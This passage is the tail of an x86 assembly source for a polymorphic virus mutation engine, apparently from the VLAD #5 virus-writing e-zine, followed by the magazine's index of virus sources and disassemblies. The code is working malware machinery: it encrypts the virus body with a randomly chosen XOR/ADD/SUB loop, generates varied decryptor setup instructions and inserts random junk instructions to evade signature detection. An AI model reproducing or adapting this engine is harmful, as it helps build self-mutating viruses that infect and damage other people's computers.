	       cmp      al,2                    ; decrypted by ADD ?
	       jz       sub_encrypt             ; yes
	       jmp      add_encrypt             ; decrypted by SUB
xor_encrypt:   lodsw
	       xor      ax,bx
	       stosw
	       loop     xor_encrypt
	       jmp      encrypted
sub_encrypt:   lodsw
	       sub      ax,bx
	       stosw
	       loop     sub_encrypt
	       jmp      encrypted
add_encrypt:   lodsw
	       add      ax,bx
	       stosw
	       loop     add_encrypt
	       ; encryption done, now calc the size to write
encrypted:     sub      si,offset virus_length
	       mov      full_length,si
	       pop      es
	       pop      ds
	       pop      di
	       pop      si
	       pop      bx
	       pop      ax
	       mov      cx,cs:full_length
	       ret                      ; back

; This generates the initialisation instructions for the registers used
; in the decryptor. Each time called it generates up to one instruction.
; If all registers are initialisized it sets all_sets to 1
gen_from_set:  mov      al,set1
	       and      al,set2
	       and      al,set3
	       mov      all_sets,al             ; set all_set if all is done
	       cmp      set1[bx-1],1            ; did i already generate from
						; this set ?
	       jnz      unused                  ; No then do it now
	       ret
unused:        mov      set1[bx-1],1            ; set used-flag
	       call     rand_instruct           ; generate dummy instructions
	       cmp      bl,1
	       jz       c_1                     ; use Set 1
	       cmp      bl,2
	       jz       c_2                     ; use Set 2
	       jmp      c_3                     ; use Set 3
	       ; Set 1 
	       ; MOV SI/DX/BX,value16
	       ; for init the pointer
c_1:           mov      al,3
	       call     random                  ; random value
	       mov      si_di_bx,bl     ; save to remember wich reg is used
	       dec      bl
	       mov      bh,bl
	       shl      bl,1
	       shl      bl,1
	       shl      bl,1
	       add      bl,bh           ; ( x - 1 ) * 9 
	       mov      bh,0
	       mov      al,counting[bx] ; get one byte from table
	       stosb                    ; and store it
	       mov      mov_pos,di      ; save the actual position
	       add      di,2            ; and leave 2 bytes free for the value16
	       ret
	       ; Set 2
	       ; MOV/OR/ADD AX,value16
	       ; for init the decryption value
c_2:           mov      al,4
	       call     random          ; random value
	       mov      al,@0746[bx-1]  ; get one byte from table
	       stosb                    ; and store
	       mov      ax,value        ; and then put the value after it
	       stosw
	       ret
	       ; Set 3
	       ; MOV/OR/ADD CX,value16
	       ; for init the counter for decryption
c_3:           mov      al,4
	       call     random          ; random value
	       mov      al,@0749[bx-1]  ; get one byte from table
	       cmp      bl,1            ; if it is the move then only write
	       jz       c_3_1           ; one byte else two
	       mov      ah,al
	       mov      al,081h         ; first store 081h
	       stosb
	       mov      al,ah
c_3_1:         stosb                    ; and then the stuff from the table
	       mov      ax,rand_size    ; followed by the randomized virus-size
	       stosw
	       ret

; generate 2 up to 12 dummy instructions
rand_instruct: push     ax
	       push     bx
	       push     cx
	       mov      al,0bh
	       call     random          ; random value
	       inc      bl
	       mov      cx,bx           ; use as counter
gen_loop:      call     gen_dummy       ; generate a single dummy instruction
	       loop     gen_loop
	       pop      cx
	       pop      bx
	       pop      ax
	       ret

; Generate one dummy instruction
gen_dummy:     push     ax
	       push     bx
	       mov      al,5
	       call     random          ; Get random value
	       cmp      bl,1
	       jz       byte1           ; generate a one byte instruction
	       cmp      bl,2
	       jz       byte3           ; generate a three byte instruction
	       ; in all other cases generate a two byte instruction
	       mov      al,37h
	       call     random          ; random value
	       dec      bl              ; -1
	       shl      bl,1            ; *2
	       mov      ax,two_byte[bx] ; get instruction from table
	       stosw                    ; and store it
	       jmp      done_dummy
	       ; Generate a three byte instruction
byte3:         mov      al,8
	       call     random          ; random value
	       dec      bl              ; -1
	       mov      bh,bl
	       shl      bl,1
	       add      bl,bh           ; *3
	       mov      bh,0
	       mov      al,three_byte[bx]       ; get instruction from table
	       stosb                            ; and store it
	       mov      ax,word ptr three_byte[bx+1]
	       stosw
	       jmp      done_dummy
	       ; Generate a one byte instruction
byte1:         mov      al,0ah
	       call     random          ; random value
	       dec      bl
	       mov      al,one_byte[bx] ; get from table
	       stosb                    ; and store it

done_dummy:    pop      bx
	       pop      ax
	       ret



save_rand      dw       0784h

; Get a random value
; Input: AL = upper border
; Output: AL = BX =  random value
;                0 < random value <= upper border

random:        push     si
	       push     ds
	       push     ax
	       mov      ax,save_rand
	       cmp      ax,1f40h
	       jb       goon_rand
	       xor      ax,ax
	       mov      save_rand,ax
goon_rand:     mov      si,ax
	       mov      ax,0fc00h
	       mov      ds,ax
	       pop      bx
	       lodsb
normalisize:   cmp      al,bl
	       jb       rand_ok
	       sub      al,bl
	       jmp      normalisize
rand_ok:       inc      al
	       mov      bl,al
	       mov      bh,0
	       pop      ds
	       pop      si
	       add      save_rand,bx
	       ret

; here is the end

public virus_length
virus_length:


code    ends

end start

- VLAD #5 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

AIH
ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly

ARTICLE.3_1      

Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus

ARTICLE.5_1      

Alive
ARTICLE.5_2       Winlamer2
ARTICLE.5_3       Lady Death
ARTICLE.5_4       H8urNMEs
ARTICLE.5_5       Sepboot
ARTICLE.5_6       Fame
ARTICLE.5_7       Int Patch

About VLAD - Links - Contact Us - Main